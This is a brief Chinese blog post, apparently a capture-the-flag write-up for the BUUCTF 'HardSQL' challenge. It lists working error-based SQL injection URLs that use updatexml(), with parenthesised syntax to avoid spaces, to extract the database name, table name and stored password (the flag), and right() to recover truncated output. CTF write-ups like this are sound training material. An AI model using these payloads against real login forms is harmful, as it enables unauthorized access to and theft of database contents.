BUUCTF-[極客大挑戰 2019]HardSQL 1
阿新 • • 發佈:2020-12-19
使用updatexml報錯法注入
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
結果:geek
查表
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
結果:H4rDsq1
查欄位
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21
結果:flag~flag{9f09946d-4c83-40f5-98
看wp說用right()語句在查詢後面部分 這樣就可以了 又get到了新技能。。。。
只查到了一半再用left()right()語句查詢拼接
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
結果:XPATH syntax error: '~3-40f5-9828-9593ee5f3f4c}~'
拼接後結果:
flag{9f09946d-4c83-40f5-9828-9593ee5f3f4c}